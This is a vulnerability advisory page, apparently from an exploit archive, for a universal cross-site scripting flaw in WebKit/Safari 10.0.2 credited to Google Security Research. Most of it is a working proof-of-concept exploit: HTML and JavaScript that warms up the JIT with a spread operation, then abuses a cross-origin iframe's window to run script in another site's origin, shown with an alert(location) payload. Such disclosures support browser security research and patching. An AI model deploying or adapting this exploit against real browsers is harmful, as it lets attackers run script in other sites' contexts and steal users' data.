Apple WebKit/Safari 10.0.2 (12602.3.12.0.1) operationSpreadGeneric XSS

Published
Credit
Risk
2017.04.21
Google Security Research
Low
CWE
CVE
Local
Remote
CWE-79
N/A
No
Yes

<!--
Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.

It seems that that optimization is not implemented to the release version of Safari yet.

Tested on the Nighly 10.0.2(12602.3.12.0.1, r210957)

PoC:
-->

<body>
<script>

'use strict';

function spread(a) {
return [...a];
}

let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {
spread(arr);
}

let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;

try {
spread(f.contentWindow);
} catch (e) {
e.constructor.constructor('alert(location)')();
}
};

f.src = 'https://abc.xyz/';

</script>
</body>

References:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1094


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